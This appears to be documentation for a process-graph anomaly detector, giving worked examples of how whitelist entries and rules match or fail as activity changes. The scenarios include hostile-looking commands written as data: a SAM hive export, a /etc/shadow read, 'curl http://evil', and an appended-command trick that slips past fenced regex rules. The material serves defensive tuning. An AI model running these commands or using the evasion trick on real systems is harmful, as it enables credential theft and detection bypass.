Whitelisting — worked examples
Whitelisting explains the mechanics. This page answers the question that comes up in practice: I approved this — will it still match tomorrow?
How to read this page
- Each case shows one change to tomorrow's window, and what every mode does.
- Results were measured, not inferred — most twice: once against the matching modules, once by replaying the window through the whole pipeline.
- Rows measured only at module level say so.
- Every screenshot is the real console, captured from a lab replay of that case through the whole pipeline, with the strict entry below in force.
Reading the screenshots
- Green border — the node matched a whitelist entry and was removed from scoring. Edges into it are dashed. Removed nodes only appear with Show excluded nodes switched on, which every screenshot here has.
- No border — the node was scored. That includes approved nodes the subtree guard held back because something unapproved sits below them.
- Dark, dimmed node — a phantom: a parent that started before the
window opened (
explorer.exehere,UNKNOWNon Linux). A picked phantom shows a dashed ring, as in Case 10. - Right-hand panel — the whitelist panel as you would use it next. Strict is selected because it is the mode of the entry being tested.
- Top left — the verdict for the window after whitelisting.
The approved activity
One nightly backup chain, four processes. Every case below is a change to it.
The approved activity as the analyst saves it: Pick nodes on, the four processes picked (green), the explorer.exe phantom left out, Strict selected. The window scores attack 85% before the entry exists.
Phantoms are part of the graph you whitelist
a's parent (explorer.exe) usually started before the window opened, so the builder adds a phantom placeholder for it.- It is the dimmed
explorer.exenode in the screenshot. It counts toward the 48-node limit when picked. - Phantoms are selectable and matchable. A phantom only ever matches another phantom — never an observed process, and never the other way round.
- An unidentified phantom cannot be the only actor in an entry; the console refuses to save one. See Phantom nodes.
- Cases 1–9 leave the phantom out of the selection, so they match whether or not it appears. Case 10 is about the opposite: activity where the phantom has to be included.
The rules used in these examples
Wherever a case shows a rules result, these four are in force — one exact
rule on process.command_line per approved node:
| Rule text | Approves | Node |
|---|---|---|
powershell.exe -noprofile -file c:\corp\backup.ps1 |
the backup launcher | a |
reg.exe save hklm\sam c:\windows\temp\sam.hive |
the hive export | b |
whoami.exe /all |
the identity check | c |
net.exe user |
the account enumeration | d |
- All four are enforcing (not observe-only), tenant-wide, with ignore case on — the defaults apart from observe-only.
- One rule per node is the fairest comparison against approving the same four nodes structurally.
- Exact vs pattern makes no difference to these cases. The rule column would
read identically with
patternequivalents such aspowershell\.exe -noprofile -file c:\\corp\\backup\.ps1, because these differences are structural. Where the two kinds genuinely diverge is text, covered in Rules — exact versus pattern.
Reading the rules column
Two numbers appear: removed and withheld.
- removed — the rule matched and everything below that node is also approved, so it is taken out of scoring.
- withheld — the rule matched, but something reachable below it is not approved, so the node stays visible to the model.
- A node no rule matches at all is neither: it is simply scored.
Choosing what to approve
flowchart LR
S["What you select"] --> G["Nothing selected<br><b>whole graph</b>"]
S --> P["One node clicked<br><b>subgraph</b>"]
S --> M["Several nodes picked<br><b>nodes</b>"]
G --> G2["every component<br>in the window"]
P --> P2["the whole component<br>containing it"]
M --> M2["exactly your picks,<br>as an induced subgraph"]
| Selection | What is stored | When to use |
|---|---|---|
| whole graph | Every component separately | Rarely — approves background noise too |
| subgraph (click one node) | The entire connected component, including the phantom it hangs from | The activity is the whole chain |
| nodes (pick several) | Only your picks, plus edges between them | Pulling one chain out of a large blob |
Disconnected picks become separate entries
- Picking two nodes with no edge between them does not create one entry describing both.
- The selection is split into connected groups; each becomes its own entry.
- Picking
banddproduced two one-node entries, not one two-node entry.
Case 1 — a node is added
d also spawns curl.exe:
curl.exe appears under net.exe. Only reg.exe is removed (green border). powershell.exe, whoami.exe and net.exe all lead down to curl.exe, so they are held back and curl.exe is scored with its full parent chain — still attack 85%.
| Mode | Result |
|---|---|
| shape | matches — 1 removed, 3 withheld |
| strict | matches — 1 removed, 3 withheld |
| exact / pattern rules | 1 removed, 3 withheld |
Everything matches; the new node holds its parents back
- Structural matching is monomorphism — the engine looks for your pattern embedded in the window, so the extra node does not stop the match.
- All four rules still match too —
a,b,canddare unchanged. - But nothing approves
curl.exe, so the subtree guard engages: a node is removed only if everything reachable from it is also approved. This applies to structural entries and rules identically. d,candaall reachcurl.exe, so all three are withheld — the branch stays visible to the model.- Only
bis removed, becausebreaches nothing uncovered.
Where the new node attaches decides how much is held back
Same numbers for shape, strict and rules.
| New node attaches | rules that match | removed | withheld |
|---|---|---|---|
under d (deepest leaf) |
all 4 | 1 (b) |
3 (a,c,d) |
under a (next to the root) |
all 4 | 3 (b,c,d) |
1 (a) |
| in a separate component | all 4 | 4 | 0 |
The same entry when curl.exe is added under powershell.exe instead: reg.exe, whoami.exe and net.exe are removed, powershell.exe is kept as curl.exe's parent. The window drops to benign.
- The deeper the surprise, the more of the branch is kept.
- An unrelated node elsewhere in the window changes nothing — nothing approved can reach it.
Measurement provenance
Both screenshots above are live-pipeline runs — the new node under d, and
under a. Addition in a separate component, and of an ancestor (Case 6),
were also replayed live; both matched and removed all four.
Case 2 — a node is removed
d does not run, or its event misses the window:
net.exe never ran. The strict entry no longer matches, nothing has a green border, and all three remaining processes are scored — attack 85%.
| Mode | Result |
|---|---|
| shape | no match |
| strict | no match |
| exact / pattern rules | 3 removed, 0 withheld |
- A structural entry needs every node it was saved with.
- Lose one and the entry stops firing entirely — all four nodes go back to full scoring, not just the missing one.
- No attacker required: a short-lived process that misses the window is enough.
- This is the most common reason an entry that "worked yesterday" breaks.
- Rules degrade gracefully — each stands alone.
- The
net.exe userrule simply matches nothing this window; the other three still fire anda,b,care removed. - Nothing is withheld, because no approved node can reach anything unapproved.
If the chain's tail is unreliable, use rules
Structural entries are all-or-nothing on presence. If your approved chain ends in short-lived children the collector sometimes misses, rules hold up where a topology entry will not.
Case 3 — a node is reparented
Same four processes, same command lines — d now hangs off a:
Same four processes and command lines, but net.exe now hangs off powershell.exe. A different shape, so the strict entry does not match — nothing removed, attack 85%.
| Mode | Result |
|---|---|
| shape | no match |
| strict | no match |
| exact / pattern rules | 4 removed, 0 withheld |
- Structural entries encode edges, not just membership.
- The same nodes in a different arrangement are a different graph.
- All four rules still match — rules read only the node's own
command_line, which did not change — so all four are removed. - Rules never look at structure, so reparenting is invisible to them.
Case 4 — a binary is renamed within its category
whoami.exe becomes quser.exe — both are system utilities.
quser.exe in place of whoami.exe. Strict compares the binary, so nothing is removed — attack 85%. A shape entry would still match here.
| Mode | Result |
|---|---|
| shape | still matches |
| strict | no match |
exact rule on command_line |
2 removed, 1 withheld |
- This is where shape and strict genuinely differ.
- Shape labels a process by category, so any system utility fits that position.
-
Strict adds the normalised image and command line, so a different binary is a different node. What the rules do
-
The
whoami.exe /allrule stops matching —cnow runsquser.exe. - Rules still firing: the ones for
a,bandd. cis now unapproved, andareachesc, soais withheld.banddreach nothing unapproved, so both are removed.citself is neither removed nor withheld — no rule matched it, so it is simply scored.
Case 5 — a command line changes
reg.exe saves a different hive — same binary, different arguments.
The graph looks identical to the approved one — the change is in reg.exe's command line (save hklm\security …), which is only visible on hover. Strict compares command lines, so nothing is removed — attack 85%.
| Mode | Result |
|---|---|
| shape | still matches |
| strict | no match |
| exact rule | 2 removed, 1 withheld |
- Shape does not read command lines at all.
- Strict does, but normalises volatile tokens first: GUIDs, long hex strings, and digit runs of four or more are masked.
- So re-runs differing only in PIDs, handles or timestamps still match.
- A genuinely different argument does not.
What the rules do
- The
reg.exe save hklm\sam …rule stops matching — the hive path changed. - Rules still firing: the ones for
a,candd. areaches the now-unapprovedb, soais withheld;canddare removed.- Note the symmetry with Case 4: whichever node falls out of coverage, its ancestors are what get held back.
Narrow entries are less brittle
Had you approved only the c → d chain instead of all four nodes, this
change would not matter — b is not part of that entry. The less an entry
covers, the less can invalidate it.
Case 6 — the activity appears inside a larger tree
The approved chain runs under an outer powershell.exe that also spawns
something else:
The approved chain (green) sits under an outer powershell.exe that also starts curl.exe. All four approved nodes are removed; the outer powershell.exe and curl.exe are scored — benign.
| Mode | Result |
|---|---|
| shape | matches |
| strict | matches |
| exact rules | 4 removed, 0 withheld |
- Entries of 48 nodes or fewer are matched as embedded subgraphs.
- The approved activity is recognised wherever it recurs — including inside a process tree that did not exist when you approved it.
- The outer nodes are scored normally.
- All four rules still match, and all four nodes are removed.
- The unapproved nodes (
p,q) sit above the approved ones, and the guard looks downward only — at what an approved process spawned, not at what spawned it. - This is deliberate: you cannot control what launches your approved job, but you can be held responsible for what it starts.
Case 7 — the activity happens twice
Two copies of the chain in one window. One entry matches both — all eight processes removed, benign.
| Mode | Result |
|---|---|
| shape | 2 matches |
| strict | 2 matches |
| exact rules | 8 removed |
- One entry removes every occurrence in the window.
whitelist_dropped_componentscounts matches, not entries — one entry found in three places reports three.- The same four rules cover both copies: a rule is a statement about a value, so it matches every node carrying that value, however many there are.
Case 8 — only one node is approved
| Scenario | shape | strict |
|---|---|---|
| identical re-run | matches | matches |
| any node added | matches | matches |
| any node removed | still matches | still matches |
| reparented | still matches | still matches |
| binary renamed | matches | matches |
| inside a bigger tree | 2 matches | matches |
- A one-node entry has no edges, so no topology change can break the match.
- That sounds convenient and is usually a mistake.
What it removes depends on what is below it
Approving node a alone, as a one-node entry or as one rule:
| one-node shape entry | one exact rule | |
|---|---|---|
| Matches | any shell, anywhere | only that command line |
| Removed | 0 | 0 |
| Withheld | 1 (a) |
1 (a) |
areachesb,candd, and nothing approves them.- So the guard withholds
aand removes nothing at all — for the entry and the rule alike. Approving a parent achieves nothing until you also approve what it starts. - A one-node entry on a leaf —
b,d— is removed wherever it matches.
A one-node shape entry is the broadest thing you can create
- It matches any node of that category, anywhere.
- Approving one
powershell.exein shape mode approves every shell in every future window that has nothing unapproved below it. - On Windows most shells start something, so the guard often holds it back — but a shell that ran alone is removed, whatever it ran.
- In the bigger-tree case it matched twice — the approved node and an
unrelated outer
powershell.exe. - To approve one specific thing: use strict, or better an attribute rule
on
imageorcommand_line.
Case 9 — the selection is larger than 48 nodes
Above 48 nodes an entry cannot carry a pattern, so only an identical whole component can match, by hash.
| Scenario | Result |
|---|---|
| identical re-run, different PIDs and GUIDs, different endpoint | matches — 61 nodes removed |
| one leaf added | no match — 0 removed, verdict attack |
- Measured on a 61-node component.
- The re-run matched across entirely different ProcessGuids — identity is normalised out.
- Adding one leaf did not just fail to match the new node. It sent all 62 nodes back to full scoring, and the window was flagged as an attack — even though 61 of those nodes were explicitly approved.
Rules have no size cap at all
- A rule is evaluated per node, so a 61-node component is no different from a 4-node one.
- The four rules above would keep working on either, and adding a leaf would withhold its ancestors rather than un-match everything.
Do not whitelist large components
- Below the cap, addition is free.
- Above it, one extra node turns an approved window into a false positive.
- If the panel warns the selection is large: pick a smaller subgraph, or describe the activity with an attribute rule.
Case 10 — the parent is a phantom
A different activity, from a real Linux host: the Debian sysstat cron job.
cron started long before the window opened, so it appears as a phantom
labelled UNKNOWN — and that phantom both reads /etc/shadow and launches
the job.
The real window from agent-linux-01 (inference 56169bbece…, 39 nodes, zoomed to the four that matter). The dashed UNKNOWN node is the phantom cron: it reads shadow and starts sh → debian-sa1. All four are picked — Selection A below — and the panel notes that one of them is a phantom.
What the model said about it, before any whitelisting:
A phantom process (PID_113180) accessing the pinned credential file /etc/shadow … the preceding access to the shadow file by a phantom process indicates the activity is part of an unauthorized attempt to access credentials.
attack, probability 0.85, technique T1003. The accusation is the phantom
reading /etc/shadow, so an approval that leaves either out approves nothing
the model cares about.
Three ways to select it
| Selection | What is saved |
|---|---|
A — all four, p f s d |
One 4-node entry |
B — phantom left out, f s d |
Two entries: s → d, and f on its own. With p gone, nothing joins f to the rest |
C — p f only |
Refused: the only actor is an unidentified phantom |
What each one matches tomorrow
Same result in strict and shape mode for every row.
| Tomorrow's window | A | B: s → d |
B: f alone |
|---|---|---|---|
Identical — cron still a phantom |
match | match | match |
cron starts inside the window (a real node, not a phantom) |
no match | match | match |
The /etc/shadow read falls outside the window |
no match | match | no match |
The phantom also spawns curl http://evil |
match — f s d removed, p kept as curl's parent |
match | match |
Attacker: UNKNOWN reads /etc/shadow, nothing else |
no match | no match | match — the read is removed |
Selection A is the safe one
- It approves the shadow read only together with the
sysstatchain. An attacker who reads/etc/shadowfrom a resident process gets nothing; they would have to reproducesh -c command -v debian-sa1 …anddebian-sa1 1 1as well. - It costs coverage when the window boundary moves: if
cronitself lands in the window, or the shadow read falls outside it, the entry does not match and those windows are scored again.
Selection B is the dangerous one, and looks harmless
- The 1-node
fentry has no edges, so it matches/etc/shadowin any window, read by anything — the last row. - Nothing about saving it looks wrong: the panel shows three nodes, two edges. The split only shows as a second entry in Manage.
Selection C is refused, with this message in the panel and from the API: "This selection is carried by an unidentified parent process (shown as a phantom), and nothing else in it identifies who acted."
Selection C in the console. The panel warns before you save (lower red box), and the save itself is refused (upper red box). Nothing is created.
An extra child keeps its phantom parent
- In the
curlrow, Selection A still matches.curlis not approved, so the subtree guard keeps the phantom above it;/etc/shadow,shanddebian-sa1are removed. - The model sees
UNKNOWN -> curl http://evil— the new activity with its parent — not acurlon its own. - Same behaviour as Case 1.
The same thing with rules
Rules, from least to most permissive. removed / withheld / left for the model — the identical window first, then the attacker's.
| Rules in force | Identical window | Attacker: UNKNOWN reads /etc/shadow |
|---|---|---|
process.command_line exact on s and d |
2 / 0 / 2 — p and f still scored |
0 / 0 / 2 |
… plus file.file_path exact /etc/shadow |
3 / 0 / 1 | 1 / 0 / 1 — the read is removed |
… plus phantom.image exact UNKNOWN |
4 / 0 / 0 | 2 / 0 / 0 — the whole window is removed |
- Two rules on the chain do not fix the false positive. They remove
sandd, and leave exactly the two nodes the model was accusing. - Adding the file rule removes the attacker's shadow read too, because a rule on a leaf has nothing below it for the guard to check.
- Adding the phantom rule makes an attacker's read disappear completely.
The guard does not help:
UNKNOWNspawned nothing unapproved. - With the extra
curlchild, the full set removes 3 and withholdsp, becausepreachescurl. The guard catches that case — just not the attacker who spawns nothing.
For a phantom reading a sensitive file, use Selection A
Rules match values, and UNKNOWN is not a value anyone owns. Any rule
set that removes the /etc/shadow read here also removes it for any
resident process. Selection A is the only approval above that requires
the recognised sysstat processes to be present.
Measurement provenance
Selection A was saved through the API from the real 39-node window and matched it — one embedding, exactly the four nodes. Selection C was refused by the live API. The other rows were measured against the matching modules on that same real window.
Rules — exact versus pattern
Rules ignore structure entirely. The differences are about text.
| Rule | Value seen later | Result |
|---|---|---|
exact whoami.exe /all, ignore case on |
WHOAMI.EXE /ALL |
matches |
exact whoami.exe /all, ignore case off |
WHOAMI.EXE /ALL |
no match |
exact whoami.exe /all |
whoami.exe /all > c:\out.txt |
no match |
pattern whoami\.exe /all |
whoami.exe /all > c:\out.txt |
no match |
pattern .*whoami\.exe /all.* |
whoami.exe /all > c:\out.txt |
matches |
pattern .*whoami\.exe /all.* |
evil.exe -enc AAAA; whoami.exe /all |
matches |
- Patterns are anchored by default — the whole value must match.
.*-fencing turns a rule into a substring match.- The last row is why that matters: an attacker appends your approved text to their own command and the node is removed before scoring.
- Fence deliberately, and only on fields an attacker cannot freely extend.
Path matters more than name
| Rule | Value seen later | Result |
|---|---|---|
image exact, C:\Windows\System32\whoami.exe |
same path | matches |
image exact, C:\Windows\System32\whoami.exe |
C:\Users\bob\AppData\Local\Temp\whoami.exe |
no match |
executable_name exact, whoami.exe |
C:\Users\…\Temp\whoami.exe |
matches |
executable_nameis the basename only.- It approves the binary from any directory — including one an attacker dropped.
- Prefer
imagewith the full path.
What only exact can do
exact |
pattern |
|
|---|---|---|
| Value shorter than 4 characters | yes | refused — needs 4 literal characters |
Value containing \, (, +, . unescaped |
yes | refused — invalid regex |
| Cost per window (2000 nodes, 100 rules) | 16 ms | 2.8 s |
- Windows paths are full of backslashes, so the escaping burden is real.
- Default to
exact; reach forpatternonly when the value genuinely varies.
Summary
| Change in the window | shape | strict | rules |
|---|---|---|---|
| Identical | match | match | all removed |
| Node added below an approved node | branch withheld | branch withheld | branch withheld |
| Node removed | no match | no match | rest still removed |
| Reparented | no match | no match | unaffected |
| Binary renamed (same category) | match | no match | that node withheld |
| Command line changed | match | no match | that node withheld |
| Inside a larger tree | match | match | all removed |
| Happens twice | 2 matches | 2 matches | all removed |
| Over 48 nodes, one node added | no match | no match | unaffected — no size cap |
| Entry includes a phantom; parent observed next time | no match | no match | unaffected |
| Phantom left out, leaving a file with no edges | that file matches anywhere | that file matches anywhere | — |
Two things to remember:
- Structural entries tolerate addition and break on removal. They describe a shape, and the shape must be present in full. An addition below an approved node is tolerated as a match, but holds that branch back, the same as for rules.
- Rules tolerate removal and hold back on addition. They describe values, and the subtree guard keeps an unapproved child's whole branch visible.
- A rule never un-matches because of structure. In every case above, the rules that stopped firing did so because a value changed (Cases 4 and 5) or the node was absent (Case 2) — never because the graph was rearranged.
- A phantom only matches a phantom. Include it when it is what the model is accusing, or when leaving it out would strand a file or network node (Case 10).










